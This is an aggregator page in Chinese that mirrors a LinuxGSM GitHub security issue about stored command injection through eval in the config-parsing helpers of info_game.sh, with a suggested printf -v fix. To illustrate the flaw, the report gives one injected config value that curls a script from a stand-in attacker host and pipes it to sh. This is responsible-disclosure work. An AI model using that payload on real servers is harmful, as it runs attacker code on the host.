Security: game-server config values parsed via eval in info_game.sh - stored command injection

已关闭
#4,955 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

维护者通常 1 天内回复

还没有人认领这个 Issue。

评估

难度
3/5
预计耗时
1-2 天
新手友好度
72/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
活跃
技术栈
bash, shell
领域
cli, security

调研方向

从 lgsm/modules/info_game.sh 第 34 行开始,检查第 59、84、109、147、185、210、233 和 258 行中相同的 eval 模式,然后检查第 963-964 行附近的调用方。将 parse-helper 中对 eval 的使用替换为安全赋值,同时保留提取出的值,并验证包含命令替换语法的 config 值不会被执行。

由索引模型根据 Issue 内容生成。

描述

Security report (responsible disclosure)

Game-server config values parsed through eval in info_game.sh — stored command injection

Affected: lgsm/modules/info_game.sh:34 (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)

eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""

The value extracted from the game's own config file is substituted into a string that eval then re-parses. A config value containing backticks or $( ) executes as a command.

Real callers feed attacker-reachable keys — e.g. info_game.sh:963-964 parse game.serverName / game.serverPassword from Battlefield-style .con configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:

game.serverName "x$(curl http://attacker.tld/s|sh)"

The next ./gameserver start/monitor/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.

Severity

Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.

Suggested fix

Replace every parse-helper eval with safe dynamic assignment:

printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"

No eval needed anywhere in these helpers.

主要语言
Shell
星标
4.9k
派生
871
平均合并
1 天 6 小时
30 天内合并 PR
138

环境准备

在 Codespaces 中打开

在浏览器里用你自己的 GitHub 账号启动这个项目的开发容器。

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

GameServerManagers/LinuxGSM 的其他 Issue

查看 GameServerManagers/LinuxGSM 的全部 Issue

相似的 Issue

更多 Shell/Bash Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。